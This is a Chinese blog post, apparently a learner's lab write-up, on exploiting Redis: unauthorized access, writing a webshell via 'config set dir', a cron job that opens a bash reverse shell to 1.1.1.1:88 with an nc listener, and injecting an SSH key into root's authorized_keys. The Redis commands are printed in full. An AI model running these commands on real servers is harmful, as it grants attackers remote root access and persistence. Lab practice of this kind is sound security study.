Redis数据库的漏洞靶场演练

作者: 村里的小四
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 前言

以前只知道redis有未授权访问,redis未授权访问的利用看文章,但自己没有亲手做过,最近接触了一个postgresql的远程命令执行漏洞,我在数据库漏洞利用这块不熟悉,信安之路最近开了数据库的课程,在此记录数据库靶场演练的学习,并分享给大家。

0x02 数据库的安装

2.1 redis安装

下载地址:
https://github.com/microsoftarchive/redis/releases/tag/win-3.0.504

windows选择这个
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
去这个目录下改下服务端配置文件
在这里插入图片描述
找到含有requirepass字样的地方,追加一行,输入requirepass 12345。这是访问Redis时所需的密码,一般测试情况下可以不用设定密码。不过,即使是作为本地访问,也建议设定一个密码。此处以简单的12345来演示。

在这里插入图片描述
踩坑点:requirepass 前面不能有空格,要不然redis服务启动不成功

点击“开始”>右击“计算机”>选择“管理”。在左侧栏中依次找到并点击“计算机管理(本地)”>服务和应用程序>服务。再在右侧找到Redis名称的服务,查看启动情况。如未启动,则手动启动之。正常情况下,服务应该正常启动并运行了。
在这里插入图片描述
CMD下输入redis-cli并回车。(redis-cli是客户端程序)如图正常提示进入,并显示正确端口号,则表示服务已经启动。
在这里插入图片描述
在这里插入图片描述

2.2 redis的利用

2.2.1 未授权访问

info就能读出敏感信息,接下来就可以进一步的攻击利用
在这里插入图片描述

2.2.2 给指定的目录写shell

前提条件:

1 redis未授权或者弱口令登录进redis,并可以执行redis指令

2 开了 web 服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,则我们就可以写入一个路径为 a/b 的任意文件。)
在这里插入图片描述
注意写入 webshell 的时候在一句话两边加上 /r/n 的换行符,因为用 redis 写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
在这里插入图片描述

2.3 利用redis特性反弹shell

反弹 shell 还是要根据实际情况来,比如 ubuntu 和 centos 反弹的命令会有区别, 一般是因为 sh 软链接指向的是 dash 还是 bash,一般反弹 shell 是 bash, 而 dash 的 shell 只有运行脚本的能力没有交互能力所以反弹 ubuntu 的shell 可能需要换脚本。

服务器监听端口

nc -lvvp 88

redis 写入反弹 shell 的计划任务

每分钟反弹一次 shell

127.0.0.1:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/1.1.1.1/88 0>&1\n\r\n\r"
OK
127.0.0.1:6379> config set dir /var/spool/cron
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

在这里插入图片描述
测试了很多目标,其中有两个虽然所有命令都执行成功了,但是无法反弹 shell,可能是因为无法出网、或者被安全系统拦截,都是有可能的,在实际的渗透中,目标所处环境和安全防护的策略都会影响实际的测试,此漏洞不常见。

这一步我没执行,因为我反弹shell没成功

最后利用反弹的 shell,清理掉设置的计划任务:echo “” > /var/spool/cron/root

2.4 利用redis特性获取SSH权限

当 redis 以 root 身份运行,可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录目标服务器。

生成ssh私钥

ssh-keygen -t rsa

在这里插入图片描述
将新生成的 id_rsa 保存在 redis.txt 文件中

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > redis.txt

在这里插入图片描述

cat redis.txt

在这里插入图片描述
复制 redis.txt 中的内容,执行下面的命令:

127.0.0.1:6379> flushall
OK
127.0.0.1:6379> set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set crack "\r\n\r\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiNX9dwVqZwSaZXrKurMM7PKgi9q4oSUDrI5QpG+AaDEptvPEGo1fAUsvusm6SzgAKTd/cONBMXOt1dDrEFyljKcXjPs5Eavge40fUJIh/VtvT0+oY7o4GelNyr9vUYR/cxZnhPxlMfw0KJE7Jx8ZS7EACs3+s9xR8FjullAdk9STHSQ0Yk7FVMNzLVsdKMs1VACFCU88GNLxpCP96ZWy/5UmUD86wjwWoxNCVUnJADluDQWdt2HggkoUwbUWWdRJ2rXIEgRERz4cmwKSSDJ7DWcjWTqg9f2m2nJMMfIqc+I3Q4HqBevZawWMs/XJsGECL6xzIloEdvC6/stpSACFR9PlSrBIysLITFasbgUmByCykeuM+yocLMDn5EkE9e8UH99u6QRkNCqFyaCksKBX79mQChlj4YiKsIYBr3qRO6m7p4JujcjLGG/bOanmT+c8svtUVfqtoOgMy8y6uk6SSLuzUYrYDrH3y7voFaDzqjX0sxIxGUjjS45GFaExY7qM= root@vulhub
\r\n\r\n"
OK
127.0.0.1:6379> save
OK

在这里插入图片描述
查看结果已经导入了
在这里插入图片描述
虚拟机遇到了ssh服务没开启,又弄了一通,linux基础不扎实,很多命令都一知半解。

遇到了这个问题,说我的密钥错误,可明明已经写进去了。
在这里插入图片描述
接下来再继续在靶场看看是怎么回事,下期带来其他数据库漏洞的靶场练习。

0x03 总结

数据库的利用一般在攻防演练中会用到,渗透测试中基本遇不到这种情况,知识总是有用的,技术到用时方恨少,下期带来其他数据库的漏洞靶场练习。

参考资料:

https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html

0x04 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灼剑(Tsojan)安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值